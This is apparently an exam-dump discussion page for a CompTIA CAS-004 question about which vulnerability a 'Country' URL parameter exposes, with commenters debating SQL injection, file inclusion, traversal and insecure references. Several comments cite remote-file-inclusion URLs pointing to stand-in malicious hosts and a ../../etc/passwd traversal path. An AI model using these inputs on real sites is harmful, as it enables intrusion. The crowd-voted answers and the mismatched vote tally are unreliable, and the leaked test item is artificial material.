exam questions

Exam CAS-004 All Questions

View all questions & answers for the CAS-004 exam

Exam CAS-004 topic 1 question 280 discussion

Actual exam question from CompTIA's CAS-004
Question #: 280
Topic #: 1
[All CAS-004 Questions]

A security engineer notices the company website allows users to select which country they reside in, such as the following example:

https://mycompany.com/main.php?Country=US

Which of the following vulnerabilities would MOST likely affect this site?

  • A. SQL injection
  • B. Remote file inclusion
  • C. Directory traversal
  • D. Unsecure references
Show Suggested Answer Hide Answer
Suggested Answer: D 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
deeden
1 month ago
Selected Answer: B
https://mycompany.com/main.php?Country=http://malicious-site.com/malware.php A. SQL injection: There is no indication that the Country parameter is directly interacting with a database query in a vulnerable way (e.g., via SQL commands). The URL suggests it's more likely used for content inclusion rather than database interaction. C. Directory traversal: While directory traversal could occur if the parameter is poorly sanitized, it typically involves local files (e.g., ../../etc/passwd). The question hints at external interaction, which aligns better with RFI.
upvoted 1 times
deeden
1 month ago
D. Unsecure references: This typically involves exposing direct object references (e.g., ID=1234). The parameter Country does not seem to map to an internal object but rather an external resource.
upvoted 1 times
...
...
23d5d21
1 month, 3 weeks ago
Selected Answer: A
The URL contains a parameter (Country=US) that appears to pass user input (US) to the backend. If the website does not properly validate or sanitize this input, an attacker could inject malicious SQL code into the Country parameter, potentially allowing unauthorized access to or manipulation of the database.Why Not the Other Options? B. Remote File Inclusion: Remote File Inclusion (RFI) typically involves including files from a remote server using a parameter in the URL (e.g., ?file=http://example.com/malicious.php). The provided URL (Country=US) does not indicate the inclusion of files, so RFI is unlikely. C. Directory Traversal: Directory Traversal exploits paths in parameters to access sensitive files (e.g., ../../etc/passwd). Since the parameter in this case is Country, it is not likely related to file paths. D. Unsecure References: Insecure Direct Object References (IDOR) involve exposing sensitive objects, like account IDs, in the URL. The parameter Country appears unrelated to object references like IDs or files.
upvoted 1 times
...
23169fd
6 months ago
Selected Answer: D
Unsecure References (IDOR): This vulnerability occurs when internal objects or resources are referenced directly through user-controllable parameters (like Country in the URL) without proper access controls. If the Country parameter directly correlates to internal data or resources without authorization checks, attackers could manipulate this parameter to access unauthorized data or functionality.
upvoted 2 times
...
isaphiltrick
6 months, 1 week ago
Selected Answer: D
Considering the scenario where the website allows users to select their country via a URL parameter (Country=US), the vulnerability that is most likely to affect this site is unsecure references (option D), particularly due to the potential exploitation through an Insecure Direct Object Reference (IDOR). This vulnerability could allow attackers to manipulate the parameter to access unauthorized resources or perform unauthorized actions, emphasizing the need for proper input validation and access controls to mitigate such risks.
upvoted 1 times
...
Slickback99
9 months, 2 weeks ago
Selected Answer: D
It's technically insecure direct object reference
upvoted 1 times
...
ElDirec
11 months, 1 week ago
Selected Answer: D
IDOR from recently taking Pentest. The vulnerability that would most likely affect this site is D. Unsecure references. Unsecure references, also known as insecure direct object references (IDOR), occur when an application provides direct access to objects based on user-supplied input. In this case, the “Country” parameter in the URL is directly referencing an object. If the application does not properly verify the user’s authorization to access this object, it could lead to unauthorized access. Therefore, the correct answer is D. Unsecure references.
upvoted 1 times
...
Delab202
1 year ago
Consider a web application that includes a file based on a parameter in the URL, like example.com/index.php?page=userinput. If the application does not properly validate user input for the "page" parameter, an attacker might craft a request like example.com/index.php?page=http://malicious.com/evilcode, leading to the inclusion of a file from the external server.
upvoted 1 times
...
Anarckii
1 year ago
Selected Answer: D
D. Unsecure references
upvoted 1 times
...
Anarckii
1 year ago
Selected Answer: C
if the "Country" parameter is not properly validated or sanitized, an attacker may attempt to manipulate it to navigate to directories outside the intended path. This can lead to unauthorized access to sensitive files or directories on the server.
upvoted 1 times
Anarckii
1 year ago
I change my answer to D as if we are providing incorrect input to the web application it would be considered unsecure references
upvoted 2 times
...
...
Jhonys
1 year, 1 month ago
Selected Answer: B
Are Insecure Direct Object References (IDOR) and "Unsecure references" the same thing? "Unsecure references" is not a commonly used or recognized IT security term. It could be a typo or a variation in terminology. Google search for "Unsecure references" Insecure Direct Object Reference (IDOR) vulnerability is often associated with applications that use parameters in the URL to access resources. If the application does not properly validate these parameters or apply proper authentication and authorization, an attacker may attempt to modify the parameters in the URL to access unauthorized information or functionality. Remote File Inclusion (Option B) is a concern if the “Country” parameter in the URL is being used to include files from different directories based on the selected country. This could allow an attacker to include malicious remote files.
upvoted 1 times
...
biggytech
1 year, 1 month ago
Selected Answer: D
It's D strictly because it is an unsecure "object" reference. Similar question in the pentest+ exam
upvoted 2 times
...
ThatGuyOverThere
1 year, 2 months ago
Selected Answer: D
I'm going with D but in my research I see a lot of references to XSS, SQL Injection, Directory Traversal. I think this question is a bit rough given it could fit multiple things pretty easily.
upvoted 2 times
...
POWNED
1 year, 3 months ago
Selected Answer: D
The answer is D
upvoted 2 times
...
Ariel235788
1 year, 3 months ago
Selected Answer: A
The vulnerability that would MOST likely affect the website in the given scenario is: A. SQL injection When a website allows users to input data, such as selecting a country in this case, and that input is directly used in constructing SQL queries without proper validation or parameterization, it becomes vulnerable to SQL injection attacks. An attacker can manipulate the input to execute malicious SQL queries, potentially gaining unauthorized access to the database or affecting the application's functionality. In contrast: B. Remote file inclusion: This vulnerability involves including files from remote servers, typically associated with file inclusion vulnerabilities, and is not directly related to user-selected countries. C. Directory traversal: This vulnerability allows an attacker to access files or directories outside of the intended directory structure, which might not be directly related to user-selected countries. D. Unsecure references: While unsecure references could lead to various security issues, it is not directly related to user-selected countries unless the references involve user inputs that are not properly sanitized.
upvoted 2 times
...
Meep123
1 year, 3 months ago
Selected Answer: D
I support h_k_d's answer
upvoted 1 times
...
bradseth
1 year, 3 months ago
Selected Answer: D
D. read the question prioperly
upvoted 1 times
...
bradseth
1 year, 3 months ago
D. read the question properly.
upvoted 1 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago